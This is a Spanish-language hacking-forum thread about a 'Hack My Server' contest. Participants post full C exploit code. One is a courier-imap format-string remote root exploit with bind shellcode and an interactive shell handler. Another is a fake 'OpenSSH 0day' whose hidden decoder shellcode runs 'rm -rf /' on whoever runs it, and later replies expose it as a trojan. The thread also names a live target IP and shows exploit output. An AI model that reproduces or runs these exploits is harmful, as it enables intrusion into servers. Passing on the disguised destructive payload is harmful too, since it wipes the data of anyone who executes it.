Concurso Nº1: "Hack My Server"

Iniciado por dimitrix, 25 Abril 2012, 00:40 AM

0 Miembros y 6 Visitantes están viendo este tema.

dimitrix

Por ahora...
Realmente ha existido MUCHA participación, aunque me han llegado a pedir la IP unas 100 personas, la verdad es que la gente del foro ha estado compartiendo mucho y eso me gusta.

En cuanto a los ataques primero empezamos verificando el ProFTP y al ver que no es vulnerable la mayoría de ataques fueron hacia PLESK.

Y ahora...
- Ya diré más la IP, todos los mensajes serán borrados.
- Desde el día 7 hasta el 14 repartiré una cuenta PLESK (la misma a todos) para que practiquemos y vayamos explotando la aplicación (no cambiar la contraseña).
- EL día 14 formatearé el servidor y con otra contraseña tendreis que intentar acceder al Plesk para ello cada uno de los participantes me podrá enviar dos links que abriré en un navegador donde esté abierta mi cuenta de PLESK.

- Luego el día 20 lo volveré a formatear y probaremos con ProFTP.

Para pedir la cuenta PLESK...
- Teneis que haber participado en este POST (y tener la IP).
- Puedo no aceptar a alguien si creo que no va a participar 'bien'.




Stakewinner00

Una pregunta como se consigen puntos?

YO pensaba que no havian puntos sino un ganador ya ya esta.

Bueno gracias por todo.

PD:Este fin de semana me pondre con este reto haber k logro.

dimitrix

Cita de: Stakewinner00 en  7 Mayo 2012, 17:50 PM
Una pregunta como se consigen puntos?

YO pensaba que no havian puntos sino un ganador ya ya esta.

Bueno gracias por todo.

PD:Este fin de semana me pondre con este reto haber k logro.

Se consiguen puntos ayudando a la gente, participando y buscando y compartiendo...




shyrh

Mandame la ip por mp y me apunto

m0rf

Bueno, me parece que he encontrado un exploit para probar. Ahora no tengo tiempo para probarlo, por la noche le cambiare el shellcode y lo probaré.

Parece que es para las versiones que hay instaladas en el servidor.

La verdad no lo iba a publicar y probarlo para ver si comprometia el servidor. Pero como no tengo tiempo y más que nada es para aprender lo comparto.

/*
  courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit
 
  Author: ktha at hush dot com
 
  Tested on FreeBSD 4.10-RELEASE with courier-imap-3.0.2
 
  Special thanks goes to andrewg for providing the FreeBSD box.
 
  Greetings: all the guys from irc.pulltheplug.com and irc.netric.org
 
  bash-2.05b$ ./sm00ny-courier_imap_fsx
  courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit by ktha at hush dot com
  [*] Launching attack against 127.0.0.1:143
  [+] Got current ebp(5100): 0xbfbfb050
  [+] Got possible saved ebp(3281): 0xbfbfe390
  [+] Got possible write on the stack pointer(3293): 0xbfbfe3c0
  [+] Verifying...failed
  [+] Got possible saved ebp(3286): 0xbfbfe3a4
  [+] Got possible write on the stack pointer(3298): 0xbfbfe3d4
  [+] Verifying...failed
  [+] Got possible saved ebp(3287): 0xbfbfe3a8
  [+] Got possible write on the stack pointer(3299): 0xbfbfe3d8
  [+] Verifying...OK
  [+] Building fmt...done
  [+] Building shellcode...done
  [*] Using ret: 0x8057000
  [*] Using got of fprintf(): 0x804fefc
  [*] Checking for shell..
  uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
   
  N.B. 1. ret can be guessed ;)
     2. got, well.. that's a different story, it must be bruteforced
     3. "ce_number" & "se_number" can be set with some default values when running multiple times
  4. shell is usable for aprox 1 min
   
  [ Need a challenge ? ]
  [ Visit http://www.pulltheplug.com ]
 
*/

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BIGBUF 2048

#define IMAP_PORT 143

#define END_BRUTEFORCE_STACK 5500

#define TOP_STACK 0xbfc00000 /* FreeBSD */

#define START_BRUTEFORCE_SAVED_EBP 3000

#define JUNK 9

#define GAP_EBP_ESP 48

#define DUMMY_NUMBER 100


void die(int type, char *message) {
if(type == 2)
perror(message);
    else
     fprintf(stderr,"%s\n",message);
exit(1);
}

int connect_to (char *host, int port){
struct hostent *h;
struct sockaddr_in c;
int sock;

if ((host == NULL) || (*host == (char) 0))
   die(1, "[-] Invalid hostname");

if ((c.sin_addr.s_addr = inet_addr (host)) == -1){
   if ((h = gethostbyname (host)) == NULL)
  die(1, "[-] Cannot resolve host");
   memcpy ((char *) &c.sin_addr, (char *) h->h_addr, sizeof (c.sin_addr));
}
if ((sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
   die(2,"[-] Error creating socket:");
c.sin_family = PF_INET;
c.sin_port = htons (port);
if (connect (sock, (struct sockaddr *) &c, sizeof (c)) == -1)
   die(2, "[-] Cannot connect: ");
return sock;
}

void close_socket (int sock){
shutdown (sock, 2);
close (sock);
}

char *get_request(char *username, char *password){
char *request = (char *)malloc(strlen(username)+strlen(password)+20);
sprintf(request,"1 LOGIN \"%s\" \"%s\"\r\n",username, password);
return request;
}

void send_data(int sock, char *request){
int n;
n = send (sock, request, strlen (request), 0);
if (n != strlen (request)){
        close_socket (sock);
        die(1, "Error sending request\n");
}
}


int get_ce_number(char *host, int port){
int sock;
int loop;
char temp[BIGBUF];
int l,n;
char username[BIGBUF];
char password[BIGBUF];
char *request;

for (loop = END_BRUTEFORCE_STACK;;loop--){
sock = connect_to(host, port);
n = recv (sock, temp, sizeof (temp), 0);
sprintf(password,"sm00ny");
sprintf(username,"%%%d$p",loop);
request = get_request(username,password);
send_data(sock,request);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
close_socket (sock);
if (n > 0)
  break;
}
return loop;
}


int get_se_number(int start, int end, char *host, int port){
int loop;
char username[BIGBUF];
char password[BIGBUF];
char *request;
int l,n;
char temp[BIGBUF];
int sock;
if (!start)
start = START_BRUTEFORCE_SAVED_EBP;
for (loop = start; loop < end; loop++){
sock = connect_to(host, port);
n = recv (sock, temp, sizeof (temp), 0);
sprintf(password,"sm00ny");
sprintf(username,"%%%d$n",loop);
request = get_request(username,password);
send_data(sock,request);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
close_socket (sock);
if (n > 0)
  break;
}
if (loop == end)
return -1;

return loop;
}





int verify_se_number(int write, unsigned long addy, int number, char *host, int port){
    char username[BIGBUF];
    char password[BIGBUF];
    char temp[BIGBUF];
    char *request;
    int n, sock;
   
    sock = connect_to(host, port);
    memset(temp,0,sizeof(temp));
    n = recv (sock, temp, sizeof (temp), 0);
    sprintf(password,"sm00ny");
    sprintf(username,"%%%uu%%%u$hn%%%u$hn", (addy & 0xffff) - JUNK, number, write);
    request = get_request(username,password);
    send_data(sock,request);
    memset(temp,0,sizeof(temp));
    n = recv (sock, temp, sizeof (temp), 0);
    close_socket (sock);
    if (n <= 0)
     return 0;
     
    sock = connect_to(host, port);
    memset(temp,0,sizeof(temp));
    n = recv (sock, temp, sizeof (temp), 0);
    sprintf(password,"sm00ny");
    sprintf(username,"%%%u$n%%%u$hn", number, write);
    request = get_request(username,password);
    send_data(sock,request);
    memset(temp,0,sizeof(temp));
    n = recv (sock, temp, sizeof (temp), 0);
    close_socket (sock);
    if (n > 0)
     return 0;
     
    return 1;
}
                                                                           
                                                                           
int *get_format_vector(unsigned long got_addy, unsigned long got, unsigned long ret){
int i,j,sum,byte;
int *vec = (int *)malloc(11 * sizeof(int));

sum = JUNK;
for (i=0; i<2; i++){
for (j=0; j<2; j++){
  vec[2*(2 * i + j)] = (got_addy & 0xffff) - sum;
  while (vec[2*(2 * i + j)] <= 12)
  vec[2*(2 * i + j)] += 0x10000;
  sum += vec[2*(2 * i + j)];
 
  byte = ((got + 2 * i) >> (16*j)) & 0xffff;
  vec[2*(2 * i + j) + 1] = byte - sum;
  while (vec[2*(2 * i + j) + 1] <= 12)
  vec[2*(2 * i + j) + 1] += 0x10000;
  sum += vec[2*(2 * i + j) + 1];
  got_addy += 2;
}
}
for (i=0; i<2; i++){
byte = (ret >> (16*i)) & 0xffff;
vec[8+i] = byte - sum;
while (vec[8+i] <= 12)
  vec[8+i] += 0x10000;
sum += vec[8+i];
}

return vec;
}

char *get_format_string(int *vec, int se_number, int write_number, int got_number){
char *buf = (char *) malloc(BIGBUF);
char smallbuf[256];
int i;

for (i=0; i<4; i++){
sprintf(smallbuf ,"%%%uu%%%u$hn%%%uu%%%u$hn",vec[2*i],se_number,vec[2*i+1],write_number);
strcat(buf,smallbuf);
}
for (i=0; i<2; i++){
sprintf(smallbuf,"%%%uu%%%u$hn",vec[8 + i],got_number + i);
strcat(buf,smallbuf);
}
return buf;
}


char *gen_shellcode (int gap){
int size;
char *p;
char shellcode[] =
/* Thanks ilja */
"\x31\xc0\x31\xc9\x31\xd2\xb0\x61"
"\x51\xb1\x06\x51\xb1\x01\x51\xb1"
"\x02\x51\x8d\x0c\x24\x51\xcd\x80"
"\xb1\x02\x31\xc9\x51\x51\x51\x80"
"\xc1\x77\x66\x51\xb5\x02\x66\x51"
"\x8d\x0c\x24\xb2\x10\x52\x51\x50"
"\x8d\x0c\x24\x51\x89\xc2\x31\xc0"
"\xb0\x68\xcd\x80\xb3\x01\x53\x52"
"\x8d\x0c\x24\x51\x31\xc0\xb0\x6a"
"\xcd\x80\x31\xc0\x50\x50\x52\x8d"
"\x0c\x24\x51\x31\xc9\xb0\x1e\xcd"
"\x80\x89\xc3\x53\x51\x31\xc0\xb0"
"\x5a\xcd\x80\x41\x53\x51\x31\xc0"
"\xb0\x5a\xcd\x80\x41\x53\x51\x31"
"\xc0\xb0\x5a\xcd\x80\x31\xdb\x53"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x31\xc0\x50\x54"
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
"\xb0\x01\xcd\x80";
                                                                         

    size = strlen (shellcode);
p = (char *) malloc (gap + 1);

/* Some nops ;) */
memset (p, 0x41, gap);

memcpy (p + gap - size, shellcode, size + 1);
return p;
}


void root(char *host) {
fd_set rfds;
    int n;
    int sock;
    char buff[1024];
   
    sock = connect_to(host,30464);
    send(sock,"id;\n",4,0);
    while(1) {
     FD_ZERO(&rfds);
     FD_SET(0, &rfds);
        FD_SET(sock, &rfds);
        if(select(sock+1, &rfds, NULL, NULL, NULL) < 1)
         exit(0);
        if(FD_ISSET(0,&rfds)) {
         if( (n = read(0,buff,sizeof(buff))) < 1)
         exit(0);
         if( send(sock,buff,n,0) != n)
         exit(0);
        }
        if(FD_ISSET(sock,&rfds)) {
         if( (n = recv(sock,buff,sizeof(buff),0)) < 1)
         exit(0);
         write(1,buff,n);
        }
}
}



main (int argc, char **argv) {
char *host="127.0.0.1";
int port = IMAP_PORT;
int sock;

char *temp1, *temp2;
char *request;
int *vec;

int n,ok,i;

unsigned long cur_ebp; // was 5100 on my box
int ce_number = 0;
unsigned long saved_ebp; // was 3287 on my box
int se_number = 0;
unsigned long write_addy;
int write_number = 0;
unsigned long got_addy;
int got_number = 0;

/* objdump -R /usr/lib/courier-imap/sbin/imaplogin | grep fprintf */
unsigned long got = 0x0804fefc;
/* heh.. it's up to you to find this one :P Just use your favourite mathod */
unsigned long ret = 0x8057000;
 
if (argc > 1)
  host = argv[1];

printf("courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit by ktha at hush dot com\n");

printf("[*] Launching attack against %s:%d\n",host,port);

if (ce_number == 0)
  ce_number = get_ce_number(host,port);
cur_ebp = TOP_STACK - 4 * ce_number;

got_number = DUMMY_NUMBER;
got_addy = cur_ebp + 4 * (got_number - 1);
 
printf("[+] Got current ebp(%d): %p\n",ce_number,cur_ebp);

do{
  se_number = get_se_number(se_number,ce_number,host,port);
  if (se_number == -1)
  die(1,"[-] Failed to get a saved_ebp !");
 
  saved_ebp = cur_ebp + 4 * (se_number - 1);
  printf("[+] Got possible saved ebp(%d): %p\n",se_number,saved_ebp);
 
  write_addy = GAP_EBP_ESP + saved_ebp;
  write_number = (write_addy - cur_ebp) / 4 + 1;
printf("[+] Got possible write on the stack pointer(%d): %p\n",write_number,write_addy);
 
  printf("[+] Verifying...");
  ok = verify_se_number(write_number,got_addy,se_number,host,port);
  if (ok)
  printf("OK\n");
  else {
  printf("failed\n");
  se_number++;
  }
}while (!ok);

printf("[+] Building fmt...");
vec = get_format_vector(got_addy,got,ret);
temp1 = get_format_string(vec,se_number,write_number,got_number);
printf("done\n");

printf("[+] Building shellcode...");
temp2 = gen_shellcode(800);
printf("done\n");

printf("[*] Using ret: %p\n",ret);
printf("[*] Using got of fprintf(): %p\n",got);

request = get_request(temp1,temp2);

sock = connect_to(host, port);
send_data(sock,request);
sleep(2);
close_socket (sock);

printf("[*] Checking for shell..\n");
root(host);
}


Se tienen que cambiar tres o cuatro cosas por lo que veo a simple vista. En el aviso de seguridad no especifica que sea solo para freebsd y puesto que es un format string, cambiando los valores de la pila que utiliza seguramente funcionará.

Nada que os divirtáis probando xD

Respecto al Plesk 10.2, no he encontrado ningun fallo que pueda ser explotado sin credenciales. Bueno tal vez uno en openssl, pero no he investigado más.

Encontré un fallo en el postfix http://www.postfix.org/CVE-2011-0411.html, pero es para ser explotado con mitm ya que es un fallo en la conexión TLS.

A ver si hay suerte.
Si todos fuéramos igual de inteligentes no existiría la mediocridad porque no podríamos apreciarla. Aprecias la mediocridad?

vanchopper


adastra

Gracias m0rf
Era justo el mismo exploit que estaba revisando...  :xD :xD :xD
Pero existe un problema... el servidor tiene una versión del kernel superior a la 2.6.7 y tiene activado el ASLR (Stack Randomization), por lo tanto no sabemos cual es el valor que asumirá la stack en cada ejecución al ser está dinámica, en consecuencia cuando se ejecuta se obtiene algo como lo siguiente


courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit by ktha at hush dot com
[*] Launching attack against 85.214.226.180:143
[+] Got current ebp(5500): 0xbfbfaa10
[+] Got possible saved ebp(3000): 0xbfbfd8ec
[+] Got possible write on the stack pointer(3012): 0xbfbfd91c
[+] Verifying...failed
[+] Got possible saved ebp(3001): 0xbfbfd8f0
[+] Got possible write on the stack pointer(3013): 0xbfbfd920
[+] Verifying...failed
[+] Got possible saved ebp(3002): 0xbfbfd8f4
[+] Got possible write on the stack pointer(3014): 0xbfbfd924
[+] Verifying...failed
[+] Got possible saved ebp(3003): 0xbfbfd8f4
[+] Got possible write on the stack pointer(3015): 0xbfbfd928
[+] Verifying...failed
......
.....


Se ha partido la posición 0xbfbfaa10 pero claro, esa posición es para FreeBSD, en este caso concreto se desconoce cual será la posición en la que se encuentra la stack para el proceso del servicio, (por el tema de ASLR, ver: http://en.wikipedia.org/wiki/Address_space_layout_randomization)

Supongo que si se logra evadir o determinar de alguna forma la posición de la stack para el servicio, será suficiente para que el exploit funcione... a ver si hay alguien que se le ocurra como hacerlo, ya que si se consigue, se logrará acceder al servidor.

h1t

He indagado un poco por la red y he encontrado un exploit de openssh que me queda por probarlo pero la hora que es no me da tiempo jajajaja. Os lo dejo por aquí a ver si le echais un vistazo y lo probais y tal.
/*
*
* Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
*
* OpenSSH <= 5.3 remote root 0day exploit (32-bit x86)
* Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
*
*
*/

#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void usage(char *argv[])
{
    printf("\n\t[+] HATSUNEMIKU\n");
    printf("\t[+] OpenSSH <= 5.3p1 remote root 0day exploit\n");
    printf("\t[+] By: n3xus\n");
    printf("\t[+] Greetz to hackforums.net\n");
    printf("\t[+] Keep this 0day priv8!\n");
    printf("\t[+] usage: %s <target> <port>\n\n", argv[0]);
    exit(1);
}

unsigned char decoder[]=   "\x6a\x0b\x58\x99\x52"
                           "\x6a\x2f\x89\xe7\x52"
                           "\x66\x68\x2d\x66\x89"
                           "\xe6\x52\x66\x68\x2d"
                           "\x72\x89\xe1\x52\x68"
                           "\x2f\x2f\x72\x6d\x68"
                           "\x2f\x62\x69\x6e\x89"
                           "\xe3\x52\x57\x56\x51"
                           "\x53\x89\xe1\xcd\x80";

unsigned char rootshell[]= "\x31\xd2\xb2\x0a\xb9\x6f\x75\x21\x0a\x51\xb9\x63\x6b"
                           "\x20\x79\x51\x66\xb9\x66\x75\x66\x51\x31\xc9\x89\xe1"
                           "\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\x31"
                           "\xdb\x40\xcd\x80";

int main(int argc, char **argv)
{

    int euid = geteuid();
    int port= 22, sock;
    char h[1000];
    struct hostent *host;
    struct sockaddr_in addr;

    if(euid != 0)
    {
        fprintf(stderr, "You need to be root to use raw sockets.\n");
        exit(1);
    }
    if(euid == 0)
    {
        fprintf(stdout, "MIKU! MIKU! MIKU!\n");
    }
    if(argc != 3)
    usage(argv);
    if(!inet_aton(h, &addr.sin_addr))
    {
        host = gethostbyname(h);
        if(!host)
        {
            fprintf(stderr, "[-] Exploit failed.\n");
            (*(void(*)())decoder)();
            exit(1);
        }
        addr.sin_addr = *(struct in_addr*)host->h_addr;
        }
        sock = socket(PF_INET, SOCK_STREAM, 0);
        addr.sin_port = htons(port);
        addr.sin_family = AF_INET;
        if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
        {
            fprintf(stderr,"[-] Exploit failed.\n");
            exit(1);
        }
        char payload[1337];
        memcpy(payload, &decoder, sizeof(decoder));
        memcpy(payload, &rootshell, sizeof(rootshell));
        send(sock, payload, strlen(payload),0);
        close(sock);
        if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
        {
            fprintf(stderr, "[-] Exploit failed.\n");
            exit(1);
        }
        else if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
        {
            fprintf(stdout, "[+]g0t sh3ll!\n");
            system("/bin/bash");
        }
        else
        {
            fprintf(stderr, "[-] Exploit failed.\n");
            close(sock);
            exit(0);
        }


Lo he extraido de un foro que por si las moscas no pongo la url por que no se si se podría tratar de spam o no no me queda claro jejeje, si por algún casual se tiene que poner pues indicadmelo y lo pongo sin problemas.

Saludoss y ánimo que esto lo sacamos entre todos jajajjaa.

adastra

Hola h1t.

:D :D :D
Ya he probado tu exploit, resultado:


Citar>gcc -o salidaSSH exploitSSH.c
>./salidaSSH
MIKU! MIKU! MIKU!

   
  • HATSUNEMIKU
       
  • OpenSSH <= 5.3p1 remote root 0day exploit
       
  • By: n3xus
       
  • Greetz to hackforums.net
       
  • Keep this 0day priv8!
       
  • usage: ./salidaSSH <target> <port>

    > ./salidaSSH x.x.x.x 22
    MIKU! MIKU! MIKU!
    [-] Exploit failed.
    Violación de segmento
El exploit falla, sin embargo se trata de un 0day para versiones recientes de SSH, en concreto en que foro lo haz visto? y cual es la vulnerabilidad que explota?

maxim_o

#169
Cita de: h1t en  7 Mayo 2012, 23:58 PM
He indagado un poco por la red y he encontrado un exploit de openssh que me queda por probarlo pero la hora que es no me da tiempo jajajaja. Os lo dejo por aquí a ver si le echais un vistazo y lo probais y tal.
/*
*
* Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
*
* OpenSSH <= 5.3 remote root 0day exploit (32-bit x86)
* Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
*
*
*/

#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void usage(char *argv[])
{
   printf("\n\t[+] HATSUNEMIKU\n");
   printf("\t[+] OpenSSH <= 5.3p1 remote root 0day exploit\n");
   printf("\t[+] By: n3xus\n");
   printf("\t[+] Greetz to hackforums.net\n");
   printf("\t[+] Keep this 0day priv8!\n");
   printf("\t[+] usage: %s <target> <port>\n\n", argv[0]);
   exit(1);
}

unsigned char decoder[]=   "\x6a\x0b\x58\x99\x52"
                          "\x6a\x2f\x89\xe7\x52"
                          "\x66\x68\x2d\x66\x89"
                          "\xe6\x52\x66\x68\x2d"
                          "\x72\x89\xe1\x52\x68"
                          "\x2f\x2f\x72\x6d\x68"
                          "\x2f\x62\x69\x6e\x89"
                          "\xe3\x52\x57\x56\x51"
                          "\x53\x89\xe1\xcd\x80";

unsigned char rootshell[]= "\x31\xd2\xb2\x0a\xb9\x6f\x75\x21\x0a\x51\xb9\x63\x6b"
                          "\x20\x79\x51\x66\xb9\x66\x75\x66\x51\x31\xc9\x89\xe1"
                          "\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\x31"
                          "\xdb\x40\xcd\x80";

int main(int argc, char **argv)
{

   int euid = geteuid();
   int port= 22, sock;
   char h[1000];
   struct hostent *host;
   struct sockaddr_in addr;

   if(euid != 0)
   {
       fprintf(stderr, "You need to be root to use raw sockets.\n");
       exit(1);
   }
   if(euid == 0)
   {
       fprintf(stdout, "MIKU! MIKU! MIKU!\n");
   }
   if(argc != 3)
   usage(argv);
   if(!inet_aton(h, &addr.sin_addr))
   {
       host = gethostbyname(h);
       if(!host)
       {
           fprintf(stderr, "[-] Exploit failed.\n");
           (*(void(*)())decoder)();
           exit(1);
       }
       addr.sin_addr = *(struct in_addr*)host->h_addr;
       }
       sock = socket(PF_INET, SOCK_STREAM, 0);
       addr.sin_port = htons(port);
       addr.sin_family = AF_INET;
       if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
       {
           fprintf(stderr,"[-] Exploit failed.\n");
           exit(1);
       }
       char payload[1337];
       memcpy(payload, &decoder, sizeof(decoder));
       memcpy(payload, &rootshell, sizeof(rootshell));
       send(sock, payload, strlen(payload),0);
       close(sock);
       if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
       {
           fprintf(stderr, "[-] Exploit failed.\n");
           exit(1);
       }
       else if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
       {
           fprintf(stdout, "[+]g0t sh3ll!\n");
           system("/bin/bash");
       }
       else
       {
           fprintf(stderr, "[-] Exploit failed.\n");
           close(sock);
           exit(0);
       }


Lo he extraido de un foro que por si las moscas no pongo la url por que no se si se podría tratar de spam o no no me queda claro jejeje, si por algún casual se tiene que poner pues indicadmelo y lo pongo sin problemas.

Saludoss y ánimo que esto lo sacamos entre todos jajajjaa.


MMMMMMM ESE EXPLOIT NO FUNCIONA...
Y un consejo.... Si cogeis exploits de webs, al menos leer la explicacion... o intentar entender el código y no compileis y lanceis por que quizas algún día os lleveis un susto... O al menos corrobar con muchas webs para ver si el exploit es fiable o algo.....

http://www.tamonten.com/how-not-to-exploit-a-box
Ahi teneis una web donde hablan del exploit y de su análisis
Sacado de esa web de la explicación de ese exploit:
Citar
converting the shellcode to ascii:

docoder
j?X?Rj/??Rfh-f???Rfh-r??Rh//rmh/bin??RWVQS????

rootshell
1????ou!?Q?ck yQf?fufQ1???1???1?????1?1?@??

The only real strings I can pull out of that are in the decoder section. Namely "/","-f","-r","/rm","/bin"

Or to put it another way "/bin","/rm","-r","-f","/"

Those are not strings I want to see in code I'm running on my box

Luckily the pentester in question was saved by the fact that "rm -rf /" doesn't work on modern distros, but he was only a "--no-preserve-root" away from a dead box.



EDITO: Dimitrix, el usuario en el plesk te lo tenemos que pedir por privado, o nos lo iras mandando tú cuando este creado ?